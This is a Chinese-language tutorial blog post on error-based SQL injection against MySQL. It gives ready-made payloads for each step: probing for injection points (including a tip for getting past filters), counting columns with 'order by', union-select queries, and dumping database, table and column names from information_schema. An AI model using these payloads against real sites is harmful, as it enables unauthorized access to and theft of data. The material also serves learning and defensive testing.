• SQL注入:显错注入


    SQL注入的本质

    就是把用户输入的数据当做代码执行

    注入条件

    1.用户能控制输入
    2.能够将程序原本执行的代码,拼接上用户输入的数据进行执行

    例:
    http://www.xxx.com/new.php?id=1
    http://www.xxx.com/new.php?id=2-1
    

    注入的基本流程

    1.判断是否存在注入点
    1.最古老的方法:

    ​ and 1=1 页面正常
    ​ and 1=2 页面不正常
    ​ 注:and 1=1 and 1=2 被拦截的可能性太高了
    ​ 可以尝试 and -1=-1 and -1=-2或者直接 or sleep(5)

    2.最简单的方法:

    ​ 页面后面加',看是否报错

    3.常用的方法:

    ​ 如果是数字型传参,可以尝试-1

    2.猜解字段数

    order by 字段数 //显示报错则字段数为前面一个值

    3.联合查询找出注入点

    and 1=2 union select 1,2,3,…… //可以将字段都写上去

    4.爆库、表、字段

    查用户权限:union select 1,user(),3
    查库:union select 1,database(),3
    查表:union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='库名'),3
    查字段:union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = '库名' and table_name = '表名'),3

    5.查询我们需要的数据

    查数据:union select 1,(select group_concat(字段1,字段2) from 库名.表名),3

    注入常用函数:

    group_concat(字段1,字段2) //返回由属于一组的列值连接组合而成的结果
    ASCII(char) //返回字符的ASCII码值
    DATABASE() //返回当前数据库名
    USER()或SYSTEM_USER() //返回当前登陆用户名
    VERSION() //返回MySQL服务器的版本
    SLEEP(n) //休眠n秒

  • 相关阅读:
    JavaScript与C# Windows应用程序交互方法
    CREATE TABLE 表名 AS SELECT 语句
    从新开始
    window下安装redis
    最终,我们都变成了机器
    这个网址很学习
    改变你一生命运的话语 不得不信
    看《超级演说家》有感
    网页布局的一点感触
    最近状态不好
  • 原文地址:https://www.cnblogs.com/yanlzy/p/11884291.html
Copyright © 2020-2023  润新知